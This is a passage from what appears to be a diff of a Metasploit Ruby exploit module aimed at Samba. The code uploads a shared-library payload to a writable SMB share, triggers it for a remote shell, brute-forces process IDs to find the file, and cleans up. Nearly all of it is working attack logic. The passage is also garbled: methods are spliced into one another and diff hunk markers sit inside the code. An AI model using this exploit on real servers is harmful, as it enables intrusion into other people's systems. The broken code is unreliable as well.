next unless ::File.exists?(wrapper_path)
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
yield(data)
end
end
end
def find_payload
# Reconnect to IPC$
simple.connect("\\\\#{rhost}\\IPC$")
# Look for common paths first, since they can be a lot quicker than hunting PIDs
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
generate_common_locations.each do |location|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
print_status("Trying location #{target}...")
probe_module_path(target)
# Verify that the payload settings make sense
def sanity_check
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
end
# Exit early if we already have a session
return if session_created?
return unless datastore['BruteforcePID']
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
# to non-root, but their /proc/pid directories are still owned by root. Trying to
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
# good chance that this still works on some embedded systems and odd-ball Linux.
# Use the PID hunting strategy devised by Tavis Ormandy
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
# Configure the main connection to have a working directory of the file share
simple.connect("\\\\#{rhost}\\#{@share}")
# Use a second connection to brute force the PID of the first connection
probe_conn = connect(false)
smb_login(probe_conn)
probe_conn.connect("\\\\#{rhost}\\#{@share}")
probe_conn.connect("\\\\#{rhost}\\IPC$")
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
2.upto(32768) do |pid|
# Look for the PID associated with our main SMB connection
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
vprint_status("Trying PID with target path #{target}...")
probe_module_path(target, probe_conn)
# Keep our main connection alive
if pid % 1000 == 0
self.simple.client.find_first("\\*")
end
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
print_error(" Please set a valid PAYLOAD and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
end
end
# Shorthand for connect and login
def smb_connect
connect
smb_login
end
# Start the shell train
def exploit
# Validate settings
sanity_check
# Setup SMB
smb_connect
# Find a writeable share
find_writeable
# Retrieve the server-side path of the share like a boss
print_status("Retrieving the remote path of the share '#{@share}'")
@share_path = find_share_path
print_status("Share '#{@share}' has server-side path '#{@share_path}")
# Disconnect
disconnect
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Connect, upload the shared library payload, disconnect
smb_connect
upload_payload(wrapped_payload)
disconnect
# Trigger the payload
early = trigger_payload
# Cleanup the payload
begin
smb_connect
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
disconnect
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
end
# Bail early if our interact payload loaded
return if early
end
end
# A version-based vulnerability check for Samba
def check
res = smb_fingerprint
@ -347,8 +456,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Safe
end
connect
smb_login
smb_connect
find_writeable_share_path
disconnect
@ -361,33 +469,4 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Appears
end
def exploit
# Setup SMB
connect
smb_login
# Find a writeable share
find_writeable
# Upload the shared library payload
upload_payload
# Find and execute the payload from the share
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect
end
end